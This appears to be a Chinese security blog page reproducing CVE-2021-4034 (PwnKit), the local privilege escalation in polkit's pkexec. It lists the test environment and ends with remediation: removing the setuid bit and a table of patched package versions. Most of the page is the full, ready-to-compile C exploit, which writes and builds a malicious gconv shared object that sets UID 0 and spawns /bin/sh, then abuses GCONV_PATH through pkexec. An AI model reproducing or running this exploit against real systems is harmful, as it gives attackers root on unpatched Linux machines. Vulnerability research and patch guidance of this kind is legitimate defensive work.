© 哨兵
    GITLAB
    • I. GITLAB CVE-2020-10977 任意文件读取漏洞
    • II. GITLAB CVE-2020-10977 任意文件读取漏洞导致的RCE
    COBALT STIKE
    • I. COBALT STIKE服务器搭建历程
    • II. COBALT STIKE服务器隐藏真实IP
    • III. 域名前置隐藏C2服务器
    • IV. CS上线木马免杀入门
    APACHE LOG4J2
    • I. APACHE LOG4J2 RCE复现历程
    OCR IN BP
    • I. BURPSUITE验证码插件实验
    CTF
    • I. CTF - 代码审计向
    • II. CTF - 密码学与杂项
    二进制研究/BIN
    • I. HIKVISION-CONFIGURATIONFILES-DECRYPTER
    • II. ROUTER-BINFILE-ANALYSIS
    POLKIT
    • I. POLKIT-CVE-2021-3560
    • II. POLKIT-CVE-2021-4034复现
    代理池:BASED ON SCYLLA
    • I. SCYLLA 搭建步骤
    WAF
    • I. MOD-WAF-BYPASS-WALKTHROUGH
    • II. MODSEC & CLOUDFLARE WAF INITIAL RESEARCH
    代码审计
    • I. DYNAMIC-ANALYSIS-OF-JAVA-FRAMEWORK-CODE
    • II. 安全与开发之:MAVEN构建排错
    • III. 浪潮CLUSTERENGINEV4.0代码审计历程
    SPRING
    • I. SPRINGBOOT-MEMORY-FILES-HEAPDUMP-ANALYSIS
    • II. CVE-2022-22947 SPRING-CLOUD-GATEWAY-RCE
    其他研究
    • I. SQL注入原理分析
    • II. STRUTS2DESER
    • III. 基于内存的SHIRO框架WEBSHELL攻击研究
    • IV. 通达OA利用代码分析
    • V. JRMP-GADGET
    反序列化
    • I. SHIRODESER
    • II. JAVADESER

本文发布于:2022-02-09 | 哨兵安全实验室

Print document Edit on github

2022-01-25,CVE-2021-4034利用详情发布。

该漏洞是Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞,允许非特权用户获取root权限。

影响版本

不影响版本

复现环境

$ uname -a
Linux ubuntu 5.8.0-55-generic #62~20.04.1-Ubuntu SMP Wed Jun 2 08:55:04 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

$ pkexec --version
pkexec version 0.105

结果

Feb-09-2022-16-01-18.gif

EXP来源

/*
 * blasty-vs-pkexec.c -- by blasty <[email protected]> 
 * ------------------------------------------------
 * PoC for CVE-2021-4034, shout out to Qualys
 *
 * ctf quality exploit
 *
 * bla bla irresponsible disclosure
 *
 * -- blasty // 2022-01-25
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
    perror(f);
    exit(-1);
}

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        "GIO_USE_VFS=",
        NULL
    };

    printf("[~] compile helper..\n");
    compile_so();

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }

    printf("[~] maybe get shell now?\n");

    execve("/usr/bin/pkexec", a_argv, a_envp);
}

修复

chmod 0755 /usr/bin/pkexec

或 升级至不影响版本

========================================================================
CentOS:

CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
========================================================================
Ubuntu:

Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
========================================================================
Debain:

:policykit-1 0.105-18+deb9u2
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1
========================================================================

参考

  • pwnkit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)
  • CVE-2021-4034 pkexec提权漏洞分析
  • Linux polkit权限提升漏洞修复方法(CVE-2021-4034)

以上。

申明

转载请申明本文档链接
Post by: Bin4xin.

其他

HOME · 镜像 · 博客 · WIKI

此文档对您有帮助吗

文章目录
    • 复现环境
    • 结果
    • 修复
    • 参考
  • .. / 研究 / polkit /

    Author: Bin4xin.
    Build Ver: 2.1.5.1db1b0f release By Action.
    Time Build in: Sat, 07 May 2022 08:56:41 +0800
    Last modified 未做修改